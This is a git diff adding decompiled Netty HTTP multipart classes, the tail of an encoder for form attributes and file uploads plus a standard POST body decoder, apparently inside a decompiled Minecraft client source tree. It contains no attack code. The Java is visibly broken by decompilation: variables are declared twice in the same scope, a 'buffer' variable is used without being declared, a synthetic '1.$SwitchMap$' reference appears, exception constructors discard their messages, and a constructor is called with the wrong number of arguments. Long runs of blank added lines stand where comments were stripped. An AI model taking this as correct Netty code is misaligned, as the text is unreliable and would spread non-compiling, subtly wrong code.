+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public boolean isMultipart()
+  {
+    return isMultipart;
+  }
+  
+
+
+  private void initDataMultipart()
+  {
+    multipartDataBoundary = getNewMultipartDelimiter();
+  }
+  
+
+
+  private void initMixedMultipart()
+  {
+    multipartMixedBoundary = getNewMultipartDelimiter();
+  }
+  
+
+
+
+
+  private static String getNewMultipartDelimiter()
+  {
+    return Long.toHexString(ThreadLocalRandom.current().nextLong()).toLowerCase();
+  }
+  
+
+
+
+
+  public List<InterfaceHttpData> getBodyListAttributes()
+  {
+    return bodyListDatas;
+  }
+  
+
+
+
+
+
+
+  public void setBodyHttpDatas(List<InterfaceHttpData> datas)
+    throws HttpPostRequestEncoder.ErrorDataEncoderException
+  {
+    if (datas == null) {
+      throw new NullPointerException("datas");
+    }
+    globalBodySize = 0L;
+    bodyListDatas.clear();
+    currentFileUpload = null;
+    duringMixedMode = false;
+    multipartHttpDatas.clear();
+    for (InterfaceHttpData data : datas) {
+      addBodyHttpData(data);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public void addBodyAttribute(String name, String value)
+    throws HttpPostRequestEncoder.ErrorDataEncoderException
+  {
+    if (name == null) {
+      throw new NullPointerException("name");
+    }
+    String svalue = value;
+    if (value == null) {
+      svalue = "";
+    }
+    Attribute data = factory.createAttribute(request, name, svalue);
+    addBodyHttpData(data);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void addBodyFileUpload(String name, File file, String contentType, boolean isText)
+    throws HttpPostRequestEncoder.ErrorDataEncoderException
+  {
+    if (name == null) {
+      throw new NullPointerException("name");
+    }
+    if (file == null) {
+      throw new NullPointerException("file");
+    }
+    String scontentType = contentType;
+    String contentTransferEncoding = null;
+    if (contentType == null) {
+      if (isText) {
+        scontentType = "text/plain";
+      } else {
+        scontentType = "application/octet-stream";
+      }
+    }
+    if (!isText) {
+      contentTransferEncoding = HttpPostBodyUtil.TransferEncodingMechanism.BINARY.value();
+    }
+    FileUpload fileUpload = factory.createFileUpload(request, name, file.getName(), scontentType, contentTransferEncoding, null, file.length());
+    try
+    {
+      fileUpload.setContent(file);
+    } catch (IOException e) {
+      throw new ErrorDataEncoderException(e);
+    }
+    addBodyHttpData(fileUpload);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void addBodyFileUploads(String name, File[] file, String[] contentType, boolean[] isText)
+    throws HttpPostRequestEncoder.ErrorDataEncoderException
+  {
+    if ((file.length != contentType.length) && (file.length != isText.length)) {
+      throw new NullPointerException("Different array length");
+    }
+    for (int i = 0; i < file.length; i++) {
+      addBodyFileUpload(name, file[i], contentType[i], isText[i]);
+    }
+  }
+  
+
+
+
+
+
+
+  public void addBodyHttpData(InterfaceHttpData data)
+    throws HttpPostRequestEncoder.ErrorDataEncoderException
+  {
+    if (headerFinalized) {
+      throw new ErrorDataEncoderException("Cannot add value once finalized");
+    }
+    if (data == null) {
+      throw new NullPointerException("data");
+    }
+    bodyListDatas.add(data);
+    if (!isMultipart) {
+      if ((data instanceof Attribute)) {
+        Attribute attribute = (Attribute)data;
+        try
+        {
+          String key = encodeAttribute(attribute.getName(), charset);
+          String value = encodeAttribute(attribute.getValue(), charset);
+          Attribute newattribute = factory.createAttribute(request, key, value);
+          multipartHttpDatas.add(newattribute);
+          globalBodySize += newattribute.getName().length() + 1 + newattribute.length() + 1L;
+        } catch (IOException e) {
+          throw new ErrorDataEncoderException(e);
+        }
+      } else if ((data instanceof FileUpload))
+      {
+        FileUpload fileUpload = (FileUpload)data;
+        
+        String key = encodeAttribute(fileUpload.getName(), charset);
+        String value = encodeAttribute(fileUpload.getFilename(), charset);
+        Attribute newattribute = factory.createAttribute(request, key, value);
+        multipartHttpDatas.add(newattribute);
+        globalBodySize += newattribute.getName().length() + 1 + newattribute.length() + 1L;
+      }
+      return;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    if ((data instanceof Attribute)) {
+      if (duringMixedMode) {
+        InternalAttribute internal = new InternalAttribute(charset);
+        internal.addValue("\r\n--" + multipartMixedBoundary + "--");
+        multipartHttpDatas.add(internal);
+        multipartMixedBoundary = null;
+        currentFileUpload = null;
+        duringMixedMode = false;
+      }
+      InternalAttribute internal = new InternalAttribute(charset);
+      if (!multipartHttpDatas.isEmpty())
+      {
+        internal.addValue("\r\n");
+      }
+      internal.addValue("--" + multipartDataBoundary + "\r\n");
+      
+      Attribute attribute = (Attribute)data;
+      internal.addValue("Content-Disposition: form-data; name=\"" + attribute.getName() + "\"\r\n");
+      
+      Charset localcharset = attribute.getCharset();
+      if (localcharset != null)
+      {
+        internal.addValue("Content-Type: text/plain; charset=" + localcharset + "\r\n");
+      }
+      
+
+
+
+      internal.addValue("\r\n");
+      multipartHttpDatas.add(internal);
+      multipartHttpDatas.add(data);
+      globalBodySize += attribute.length() + internal.size();
+    } else if ((data instanceof FileUpload)) {
+      FileUpload fileUpload = (FileUpload)data;
+      InternalAttribute internal = new InternalAttribute(charset);
+      if (!multipartHttpDatas.isEmpty())
+      {
+        internal.addValue("\r\n");
+      }
+      boolean localMixed;
+      if (duringMixedMode) { boolean localMixed;
+        if ((currentFileUpload != null) && (currentFileUpload.getName().equals(fileUpload.getName())))
+        {
+
+          localMixed = true;
+
+
+        }
+        else
+        {
+
+          internal.addValue("--" + multipartMixedBoundary + "--");
+          multipartHttpDatas.add(internal);
+          multipartMixedBoundary = null;
+          
+
+          internal = new InternalAttribute(charset);
+          internal.addValue("\r\n");
+          boolean localMixed = false;
+          
+          currentFileUpload = fileUpload;
+          duringMixedMode = false;
+        }
+      }
+      else if ((currentFileUpload != null) && (currentFileUpload.getName().equals(fileUpload.getName())))
+      {
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+        initMixedMultipart();
+        InternalAttribute pastAttribute = (InternalAttribute)multipartHttpDatas.get(multipartHttpDatas.size() - 2);
+        
+
+        globalBodySize -= pastAttribute.size();
+        StringBuilder replacement = new StringBuilder(139 + multipartDataBoundary.length() + multipartMixedBoundary.length() * 2 + fileUpload.getFilename().length() + fileUpload.getName().length());
+        
+
+
+        replacement.append("--");
+        replacement.append(multipartDataBoundary);
+        replacement.append("\r\n");
+        
+        replacement.append("Content-Disposition");
+        replacement.append(": ");
+        replacement.append("form-data");
+        replacement.append("; ");
+        replacement.append("name");
+        replacement.append("=\"");
+        replacement.append(fileUpload.getName());
+        replacement.append("\"\r\n");
+        
+        replacement.append("Content-Type");
+        replacement.append(": ");
+        replacement.append("multipart/mixed");
+        replacement.append("; ");
+        replacement.append("boundary");
+        replacement.append('=');
+        replacement.append(multipartMixedBoundary);
+        replacement.append("\r\n\r\n");
+        
+        replacement.append("--");
+        replacement.append(multipartMixedBoundary);
+        replacement.append("\r\n");
+        
+        replacement.append("Content-Disposition");
+        replacement.append(": ");
+        replacement.append("attachment");
+        replacement.append("; ");
+        replacement.append("filename");
+        replacement.append("=\"");
+        replacement.append(fileUpload.getFilename());
+        replacement.append("\"\r\n");
+        
+        pastAttribute.setValue(replacement.toString(), 1);
+        pastAttribute.setValue("", 2);
+        
+
+        globalBodySize += pastAttribute.size();
+        
+
+
+
+
+        boolean localMixed = true;
+        duringMixedMode = true;
+
+      }
+      else
+      {
+        localMixed = false;
+        currentFileUpload = fileUpload;
+        duringMixedMode = false;
+      }
+      
+
+      if (localMixed)
+      {
+
+        internal.addValue("--" + multipartMixedBoundary + "\r\n");
+        
+        internal.addValue("Content-Disposition: attachment; filename=\"" + fileUpload.getFilename() + "\"\r\n");
+      }
+      else {
+        internal.addValue("--" + multipartDataBoundary + "\r\n");
+        
+
+        internal.addValue("Content-Disposition: form-data; name=\"" + fileUpload.getName() + "\"; " + "filename" + "=\"" + fileUpload.getFilename() + "\"\r\n");
+      }
+      
+
+
+
+
+      internal.addValue("Content-Type: " + fileUpload.getContentType());
+      String contentTransferEncoding = fileUpload.getContentTransferEncoding();
+      if ((contentTransferEncoding != null) && (contentTransferEncoding.equals(HttpPostBodyUtil.TransferEncodingMechanism.BINARY.value())))
+      {
+        internal.addValue("\r\nContent-Transfer-Encoding: " + HttpPostBodyUtil.TransferEncodingMechanism.BINARY.value() + "\r\n\r\n");
+      }
+      else if (fileUpload.getCharset() != null) {
+        internal.addValue("; charset=" + fileUpload.getCharset() + "\r\n\r\n");
+      } else {
+        internal.addValue("\r\n\r\n");
+      }
+      multipartHttpDatas.add(internal);
+      multipartHttpDatas.add(data);
+      globalBodySize += fileUpload.length() + internal.size();
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public HttpRequest finalizeRequest()
+    throws HttpPostRequestEncoder.ErrorDataEncoderException
+  {
+    if (!headerFinalized) {
+      if (isMultipart) {
+        InternalAttribute internal = new InternalAttribute(charset);
+        if (duringMixedMode) {
+          internal.addValue("\r\n--" + multipartMixedBoundary + "--");
+        }
+        internal.addValue("\r\n--" + multipartDataBoundary + "--\r\n");
+        multipartHttpDatas.add(internal);
+        multipartMixedBoundary = null;
+        currentFileUpload = null;
+        duringMixedMode = false;
+        globalBodySize += internal.size();
+      }
+      headerFinalized = true;
+    } else {
+      throw new ErrorDataEncoderException("Header already encoded");
+    }
+    
+    HttpHeaders headers = request.headers();
+    List<String> contentTypes = headers.getAll("Content-Type");
+    List<String> transferEncoding = headers.getAll("Transfer-Encoding");
+    if (contentTypes != null) {
+      headers.remove("Content-Type");
+      for (String contentType : contentTypes)
+      {
+        String lowercased = contentType.toLowerCase();
+        if ((!lowercased.startsWith("multipart/form-data")) && (!lowercased.startsWith("application/x-www-form-urlencoded")))
+        {
+
+
+          headers.add("Content-Type", contentType);
+        }
+      }
+    }
+    if (isMultipart) {
+      String value = "multipart/form-data; boundary=" + multipartDataBoundary;
+      
+      headers.add("Content-Type", value);
+    }
+    else {
+      headers.add("Content-Type", "application/x-www-form-urlencoded");
+    }
+    
+    long realSize = globalBodySize;
+    if (isMultipart) {
+      iterator = multipartHttpDatas.listIterator();
+    } else {
+      realSize -= 1L;
+      iterator = multipartHttpDatas.listIterator();
+    }
+    headers.set("Content-Length", String.valueOf(realSize));
+    if ((realSize > 8096L) || (isMultipart)) {
+      isChunked = true;
+      if (transferEncoding != null) {
+        headers.remove("Transfer-Encoding");
+        for (String v : transferEncoding) {
+          if (!v.equalsIgnoreCase("chunked"))
+          {
+
+            headers.add("Transfer-Encoding", v);
+          }
+        }
+      }
+      HttpHeaders.setTransferEncodingChunked(request);
+      
+
+      return new WrappedHttpRequest(request);
+    }
+    
+    HttpContent chunk = nextChunk();
+    if ((request instanceof FullHttpRequest)) {
+      FullHttpRequest fullRequest = (FullHttpRequest)request;
+      ByteBuf chunkContent = chunk.content();
+      if (fullRequest.content() != chunkContent) {
+        fullRequest.content().clear().writeBytes(chunkContent);
+        chunkContent.release();
+      }
+      return fullRequest;
+    }
+    return new WrappedFullHttpRequest(request, chunk, null);
+  }
+  
+
+
+
+
+  public boolean isChunked()
+  {
+    return isChunked;
+  }
+  
+
+
+
+
+
+  private String encodeAttribute(String s, Charset charset)
+    throws HttpPostRequestEncoder.ErrorDataEncoderException
+  {
+    if (s == null) {
+      return "";
+    }
+    try {
+      String encoded = URLEncoder.encode(s, charset.name());
+      if (encoderMode == EncoderMode.RFC3986) {
+        for (Map.Entry<Pattern, String> entry : percentEncodings.entrySet()) {
+          String replacement = (String)entry.getValue();
+          encoded = ((Pattern)entry.getKey()).matcher(encoded).replaceAll(replacement);
+        }
+      }
+      return encoded;
+    } catch (UnsupportedEncodingException e) {
+      throw new ErrorDataEncoderException(charset.name(), e);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  private boolean isKey = true;
+  
+
+
+
+  private ByteBuf fillByteBuf()
+  {
+    int length = currentBuffer.readableBytes();
+    if (length > 8096) {
+      ByteBuf slice = currentBuffer.slice(currentBuffer.readerIndex(), 8096);
+      currentBuffer.skipBytes(8096);
+      return slice;
+    }
+    
+    ByteBuf slice = currentBuffer;
+    currentBuffer = null;
+    return slice;
+  }
+  
+
+
+
+
+
+
+
+
+
+  private HttpContent encodeNextChunkMultipart(int sizeleft)
+    throws HttpPostRequestEncoder.ErrorDataEncoderException
+  {
+    if (currentData == null) {
+      return null;
+    }
+    
+    if ((currentData instanceof InternalAttribute)) {
+      ByteBuf buffer = ((InternalAttribute)currentData).toByteBuf();
+      currentData = null;
+    } else {
+      if ((currentData instanceof Attribute)) {
+        try {
+          buffer = ((Attribute)currentData).getChunk(sizeleft);
+        } catch (IOException e) {
+          throw new ErrorDataEncoderException(e);
+        }
+      } else {
+        try {
+          buffer = ((HttpData)currentData).getChunk(sizeleft);
+        } catch (IOException e) {
+          throw new ErrorDataEncoderException(e);
+        }
+      }
+      if (buffer.capacity() == 0)
+      {
+        currentData = null;
+        return null;
+      }
+    }
+    if (currentBuffer == null) {
+      currentBuffer = buffer;
+    } else {
+      currentBuffer = Unpooled.wrappedBuffer(new ByteBuf[] { currentBuffer, buffer });
+    }
+    if (currentBuffer.readableBytes() < 8096) {
+      currentData = null;
+      return null;
+    }
+    ByteBuf buffer = fillByteBuf();
+    return new DefaultHttpContent(buffer);
+  }
+  
+
+
+
+
+
+
+
+
+  private HttpContent encodeNextChunkUrlEncoded(int sizeleft)
+    throws HttpPostRequestEncoder.ErrorDataEncoderException
+  {
+    if (currentData == null) {
+      return null;
+    }
+    int size = sizeleft;
+    
+
+
+    if (isKey) {
+      String key = currentData.getName();
+      ByteBuf buffer = Unpooled.wrappedBuffer(key.getBytes());
+      isKey = false;
+      if (currentBuffer == null) {
+        currentBuffer = Unpooled.wrappedBuffer(new ByteBuf[] { buffer, Unpooled.wrappedBuffer("=".getBytes()) });
+        
+        size -= buffer.readableBytes() + 1;
+      } else {
+        currentBuffer = Unpooled.wrappedBuffer(new ByteBuf[] { currentBuffer, buffer, Unpooled.wrappedBuffer("=".getBytes()) });
+        
+        size -= buffer.readableBytes() + 1;
+      }
+      if (currentBuffer.readableBytes() >= 8096) {
+        buffer = fillByteBuf();
+        return new DefaultHttpContent(buffer);
+      }
+    }
+    
+    try
+    {
+      buffer = ((HttpData)currentData).getChunk(size);
+    } catch (IOException e) {
+      throw new ErrorDataEncoderException(e);
+    }
+    
+
+    ByteBuf delimiter = null;
+    if (buffer.readableBytes() < size) {
+      isKey = true;
+      delimiter = iterator.hasNext() ? Unpooled.wrappedBuffer("&".getBytes()) : null;
+    }
+    
+
+    if (buffer.capacity() == 0) {
+      currentData = null;
+      if (currentBuffer == null) {
+        currentBuffer = delimiter;
+      }
+      else if (delimiter != null) {
+        currentBuffer = Unpooled.wrappedBuffer(new ByteBuf[] { currentBuffer, delimiter });
+      }
+      
+      if (currentBuffer.readableBytes() >= 8096) {
+        buffer = fillByteBuf();
+        return new DefaultHttpContent(buffer);
+      }
+      return null;
+    }
+    
+
+    if (currentBuffer == null) {
+      if (delimiter != null) {
+        currentBuffer = Unpooled.wrappedBuffer(new ByteBuf[] { buffer, delimiter });
+      } else {
+        currentBuffer = buffer;
+      }
+    }
+    else if (delimiter != null) {
+      currentBuffer = Unpooled.wrappedBuffer(new ByteBuf[] { currentBuffer, buffer, delimiter });
+    } else {
+      currentBuffer = Unpooled.wrappedBuffer(new ByteBuf[] { currentBuffer, buffer });
+    }
+    
+
+
+    if (currentBuffer.readableBytes() < 8096) {
+      currentData = null;
+      isKey = true;
+      return null;
+    }
+    
+    ByteBuf buffer = fillByteBuf();
+    return new DefaultHttpContent(buffer);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public HttpContent readChunk(ChannelHandlerContext ctx)
+    throws Exception
+  {
+    if (isLastChunkSent) {
+      return null;
+    }
+    return nextChunk();
+  }
+  
+
+
+
+
+
+
+
+  private HttpContent nextChunk()
+    throws HttpPostRequestEncoder.ErrorDataEncoderException
+  {
+    if (isLastChunk) {
+      isLastChunkSent = true;
+      return LastHttpContent.EMPTY_LAST_CONTENT;
+    }
+    
+    int size = 8096;
+    
+    if (currentBuffer != null) {
+      size -= currentBuffer.readableBytes();
+    }
+    if (size <= 0)
+    {
+      ByteBuf buffer = fillByteBuf();
+      return new DefaultHttpContent(buffer);
+    }
+    
+    if (currentData != null)
+    {
+      if (isMultipart) {
+        HttpContent chunk = encodeNextChunkMultipart(size);
+        if (chunk != null) {
+          return chunk;
+        }
+      } else {
+        HttpContent chunk = encodeNextChunkUrlEncoded(size);
+        if (chunk != null)
+        {
+          return chunk;
+        }
+      }
+      size = 8096 - currentBuffer.readableBytes();
+    }
+    if (!iterator.hasNext()) {
+      isLastChunk = true;
+      
+      ByteBuf buffer = currentBuffer;
+      currentBuffer = null;
+      return new DefaultHttpContent(buffer);
+    }
+    while ((size > 0) && (iterator.hasNext())) {
+      currentData = ((InterfaceHttpData)iterator.next());
+      HttpContent chunk;
+      HttpContent chunk; if (isMultipart) {
+        chunk = encodeNextChunkMultipart(size);
+      } else {
+        chunk = encodeNextChunkUrlEncoded(size);
+      }
+      if (chunk == null)
+      {
+        size = 8096 - currentBuffer.readableBytes();
+      }
+      else
+      {
+        return chunk;
+      }
+    }
+    isLastChunk = true;
+    if (currentBuffer == null) {
+      isLastChunkSent = true;
+      
+      return LastHttpContent.EMPTY_LAST_CONTENT;
+    }
+    
+    ByteBuf buffer = currentBuffer;
+    currentBuffer = null;
+    return new DefaultHttpContent(buffer);
+  }
+  
+  public boolean isEndOfInput() throws Exception
+  {
+    return isLastChunkSent;
+  }
+  
+  public void close() throws Exception
+  {}
+  
+  public static class ErrorDataEncoderException extends Exception
+  {
+    private static final long serialVersionUID = 5020247425493164465L;
+    
+    public ErrorDataEncoderException() {}
+    
+    public ErrorDataEncoderException(String msg) {
+      super();
+    }
+    
+    public ErrorDataEncoderException(Throwable cause) {
+      super();
+    }
+    
+    public ErrorDataEncoderException(String msg, Throwable cause) {
+      super(cause);
+    }
+  }
+  
+  private static class WrappedHttpRequest implements HttpRequest {
+    private final HttpRequest request;
+    
+    WrappedHttpRequest(HttpRequest request) { this.request = request; }
+    
+
+    public HttpRequest setProtocolVersion(HttpVersion version)
+    {
+      request.setProtocolVersion(version);
+      return this;
+    }
+    
+    public HttpRequest setMethod(HttpMethod method)
+    {
+      request.setMethod(method);
+      return this;
+    }
+    
+    public HttpRequest setUri(String uri)
+    {
+      request.setUri(uri);
+      return this;
+    }
+    
+    public HttpMethod getMethod()
+    {
+      return request.getMethod();
+    }
+    
+    public String getUri()
+    {
+      return request.getUri();
+    }
+    
+    public HttpVersion getProtocolVersion()
+    {
+      return request.getProtocolVersion();
+    }
+    
+    public HttpHeaders headers()
+    {
+      return request.headers();
+    }
+    
+    public DecoderResult getDecoderResult()
+    {
+      return request.getDecoderResult();
+    }
+    
+
+
+    public void setDecoderResult(DecoderResult result) { request.setDecoderResult(result); }
+  }
+  
+  private static final class WrappedFullHttpRequest extends HttpPostRequestEncoder.WrappedHttpRequest implements FullHttpRequest {
+    private final HttpContent content;
+    
+    private WrappedFullHttpRequest(HttpRequest request, HttpContent content) {
+      super();
+      this.content = content;
+    }
+    
+    public FullHttpRequest setProtocolVersion(HttpVersion version)
+    {
+      super.setProtocolVersion(version);
+      return this;
+    }
+    
+    public FullHttpRequest setMethod(HttpMethod method)
+    {
+      super.setMethod(method);
+      return this;
+    }
+    
+    public FullHttpRequest setUri(String uri)
+    {
+      super.setUri(uri);
+      return this;
+    }
+    
+    public FullHttpRequest copy()
+    {
+      DefaultFullHttpRequest copy = new DefaultFullHttpRequest(getProtocolVersion(), getMethod(), getUri(), content().copy());
+      
+      copy.headers().set(headers());
+      copy.trailingHeaders().set(trailingHeaders());
+      return copy;
+    }
+    
+    public FullHttpRequest duplicate()
+    {
+      DefaultFullHttpRequest duplicate = new DefaultFullHttpRequest(getProtocolVersion(), getMethod(), getUri(), content().duplicate());
+      
+      duplicate.headers().set(headers());
+      duplicate.trailingHeaders().set(trailingHeaders());
+      return duplicate;
+    }
+    
+    public FullHttpRequest retain(int increment)
+    {
+      content.retain(increment);
+      return this;
+    }
+    
+    public FullHttpRequest retain()
+    {
+      content.retain();
+      return this;
+    }
+    
+    public ByteBuf content()
+    {
+      return content.content();
+    }
+    
+    public HttpHeaders trailingHeaders()
+    {
+      if ((content instanceof LastHttpContent)) {
+        return ((LastHttpContent)content).trailingHeaders();
+      }
+      return HttpHeaders.EMPTY_HEADERS;
+    }
+    
+
+    public int refCnt()
+    {
+      return content.refCnt();
+    }
+    
+    public boolean release()
+    {
+      return content.release();
+    }
+    
+    public boolean release(int decrement)
+    {
+      return content.release(decrement);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/multipart/HttpPostStandardRequestDecoder.java b/src/minecraft/io/netty/handler/codec/http/multipart/HttpPostStandardRequestDecoder.java
new file mode 100644
index 0000000..6e9a85c
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/multipart/HttpPostStandardRequestDecoder.java
@@ -0,0 +1,740 @@
+package io.netty.handler.codec.http.multipart;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.Unpooled;
+import io.netty.handler.codec.http.HttpConstants;
+import io.netty.handler.codec.http.HttpContent;
+import io.netty.handler.codec.http.HttpRequest;
+import io.netty.handler.codec.http.LastHttpContent;
+import io.netty.handler.codec.http.QueryStringDecoder;
+import java.io.IOException;
+import java.nio.charset.Charset;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Map;
+import java.util.TreeMap;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class HttpPostStandardRequestDecoder
+  implements InterfaceHttpPostRequestDecoder
+{
+  private final HttpDataFactory factory;
+  private final HttpRequest request;
+  private final Charset charset;
+  private boolean isLastChunk;
+  private final List<InterfaceHttpData> bodyListHttpData = new ArrayList();
+  
+
+
+
+  private final Map<String, List<InterfaceHttpData>> bodyMapHttpData = new TreeMap(CaseIgnoringComparator.INSTANCE);
+  
+
+
+
+
+  private ByteBuf undecodedChunk;
+  
+
+
+
+  private int bodyListHttpDataRank;
+  
+
+
+
+  private HttpPostRequestDecoder.MultiPartStatus currentStatus = HttpPostRequestDecoder.MultiPartStatus.NOTSTARTED;
+  
+
+  private Attribute currentAttribute;
+  
+
+  private boolean destroyed;
+  
+
+  private int discardThreshold = 10485760;
+  
+
+
+
+
+
+
+
+
+
+  public HttpPostStandardRequestDecoder(HttpRequest request)
+  {
+    this(new DefaultHttpDataFactory(16384L), request, HttpConstants.DEFAULT_CHARSET);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public HttpPostStandardRequestDecoder(HttpDataFactory factory, HttpRequest request)
+  {
+    this(factory, request, HttpConstants.DEFAULT_CHARSET);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public HttpPostStandardRequestDecoder(HttpDataFactory factory, HttpRequest request, Charset charset)
+  {
+    if (factory == null) {
+      throw new NullPointerException("factory");
+    }
+    if (request == null) {
+      throw new NullPointerException("request");
+    }
+    if (charset == null) {
+      throw new NullPointerException("charset");
+    }
+    this.request = request;
+    this.charset = charset;
+    this.factory = factory;
+    if ((request instanceof HttpContent))
+    {
+
+      offer((HttpContent)request);
+    } else {
+      undecodedChunk = Unpooled.buffer();
+      parseBody();
+    }
+  }
+  
+  private void checkDestroyed() {
+    if (destroyed) {
+      throw new IllegalStateException(HttpPostStandardRequestDecoder.class.getSimpleName() + " was destroyed already");
+    }
+  }
+  
+
+
+
+
+
+
+  public boolean isMultipart()
+  {
+    checkDestroyed();
+    return false;
+  }
+  
+
+
+
+
+
+  public void setDiscardThreshold(int discardThreshold)
+  {
+    if (discardThreshold < 0) {
+      throw new IllegalArgumentException("discardThreshold must be >= 0");
+    }
+    this.discardThreshold = discardThreshold;
+  }
+  
+
+
+
+  public int getDiscardThreshold()
+  {
+    return discardThreshold;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public List<InterfaceHttpData> getBodyHttpDatas()
+  {
+    checkDestroyed();
+    
+    if (!isLastChunk) {
+      throw new HttpPostRequestDecoder.NotEnoughDataDecoderException();
+    }
+    return bodyListHttpData;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public List<InterfaceHttpData> getBodyHttpDatas(String name)
+  {
+    checkDestroyed();
+    
+    if (!isLastChunk) {
+      throw new HttpPostRequestDecoder.NotEnoughDataDecoderException();
+    }
+    return (List)bodyMapHttpData.get(name);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public InterfaceHttpData getBodyHttpData(String name)
+  {
+    checkDestroyed();
+    
+    if (!isLastChunk) {
+      throw new HttpPostRequestDecoder.NotEnoughDataDecoderException();
+    }
+    List<InterfaceHttpData> list = (List)bodyMapHttpData.get(name);
+    if (list != null) {
+      return (InterfaceHttpData)list.get(0);
+    }
+    return null;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public HttpPostStandardRequestDecoder offer(HttpContent content)
+  {
+    checkDestroyed();
+    
+
+
+
+    ByteBuf buf = content.content();
+    if (undecodedChunk == null) {
+      undecodedChunk = buf.copy();
+    } else {
+      undecodedChunk.writeBytes(buf);
+    }
+    if ((content instanceof LastHttpContent)) {
+      isLastChunk = true;
+    }
+    parseBody();
+    if ((undecodedChunk != null) && (undecodedChunk.writerIndex() > discardThreshold)) {
+      undecodedChunk.discardReadBytes();
+    }
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public boolean hasNext()
+  {
+    checkDestroyed();
+    
+    if (currentStatus == HttpPostRequestDecoder.MultiPartStatus.EPILOGUE)
+    {
+      if (bodyListHttpDataRank >= bodyListHttpData.size()) {
+        throw new HttpPostRequestDecoder.EndOfDataDecoderException();
+      }
+    }
+    return (!bodyListHttpData.isEmpty()) && (bodyListHttpDataRank < bodyListHttpData.size());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public InterfaceHttpData next()
+  {
+    checkDestroyed();
+    
+    if (hasNext()) {
+      return (InterfaceHttpData)bodyListHttpData.get(bodyListHttpDataRank++);
+    }
+    return null;
+  }
+  
+  public InterfaceHttpData currentPartialHttpData()
+  {
+    return currentAttribute;
+  }
+  
+
+
+
+
+
+
+  private void parseBody()
+  {
+    if ((currentStatus == HttpPostRequestDecoder.MultiPartStatus.PREEPILOGUE) || (currentStatus == HttpPostRequestDecoder.MultiPartStatus.EPILOGUE)) {
+      if (isLastChunk) {
+        currentStatus = HttpPostRequestDecoder.MultiPartStatus.EPILOGUE;
+      }
+      return;
+    }
+    parseBodyAttributes();
+  }
+  
+
+
+  protected void addHttpData(InterfaceHttpData data)
+  {
+    if (data == null) {
+      return;
+    }
+    List<InterfaceHttpData> datas = (List)bodyMapHttpData.get(data.getName());
+    if (datas == null) {
+      datas = new ArrayList(1);
+      bodyMapHttpData.put(data.getName(), datas);
+    }
+    datas.add(data);
+    bodyListHttpData.add(data);
+  }
+  
+
+
+
+
+
+
+
+  private void parseBodyAttributesStandard()
+  {
+    int firstpos = undecodedChunk.readerIndex();
+    int currentpos = firstpos;
+    
+
+    if (currentStatus == HttpPostRequestDecoder.MultiPartStatus.NOTSTARTED) {
+      currentStatus = HttpPostRequestDecoder.MultiPartStatus.DISPOSITION;
+    }
+    boolean contRead = true;
+    try {
+      while ((undecodedChunk.isReadable()) && (contRead)) {
+        char read = (char)undecodedChunk.readUnsignedByte();
+        currentpos++;
+        switch (1.$SwitchMap$io$netty$handler$codec$http$multipart$HttpPostRequestDecoder$MultiPartStatus[currentStatus.ordinal()]) {
+        case 1: 
+          if (read == '=') {
+            currentStatus = HttpPostRequestDecoder.MultiPartStatus.FIELD;
+            int equalpos = currentpos - 1;
+            String key = decodeAttribute(undecodedChunk.toString(firstpos, equalpos - firstpos, charset), charset);
+            
+            currentAttribute = factory.createAttribute(request, key);
+            firstpos = currentpos;
+          } else if (read == '&') {
+            currentStatus = HttpPostRequestDecoder.MultiPartStatus.DISPOSITION;
+            int ampersandpos = currentpos - 1;
+            String key = decodeAttribute(undecodedChunk.toString(firstpos, ampersandpos - firstpos, charset), charset);
+            
+            currentAttribute = factory.createAttribute(request, key);
+            currentAttribute.setValue("");
+            addHttpData(currentAttribute);
+            currentAttribute = null;
+            firstpos = currentpos;
+            contRead = true; }
+          break;
+        
+        case 2: 
+          if (read == '&') {
+            currentStatus = HttpPostRequestDecoder.MultiPartStatus.DISPOSITION;
+            int ampersandpos = currentpos - 1;
+            setFinalBuffer(undecodedChunk.copy(firstpos, ampersandpos - firstpos));
+            firstpos = currentpos;
+            contRead = true;
+          } else if (read == '\r') {
+            if (undecodedChunk.isReadable()) {
+              read = (char)undecodedChunk.readUnsignedByte();
+              currentpos++;
+              if (read == '\n') {
+                currentStatus = HttpPostRequestDecoder.MultiPartStatus.PREEPILOGUE;
+                int ampersandpos = currentpos - 2;
+                setFinalBuffer(undecodedChunk.copy(firstpos, ampersandpos - firstpos));
+                firstpos = currentpos;
+                contRead = false;
+              }
+              else {
+                throw new HttpPostRequestDecoder.ErrorDataDecoderException("Bad end of line");
+              }
+            } else {
+              currentpos--;
+            }
+          } else if (read == '\n') {
+            currentStatus = HttpPostRequestDecoder.MultiPartStatus.PREEPILOGUE;
+            int ampersandpos = currentpos - 1;
+            setFinalBuffer(undecodedChunk.copy(firstpos, ampersandpos - firstpos));
+            firstpos = currentpos;
+            contRead = false;
+          }
+          
+          break;
+        default: 
+          contRead = false;
+        }
+      }
+      if ((isLastChunk) && (currentAttribute != null))
+      {
+        int ampersandpos = currentpos;
+        if (ampersandpos > firstpos) {
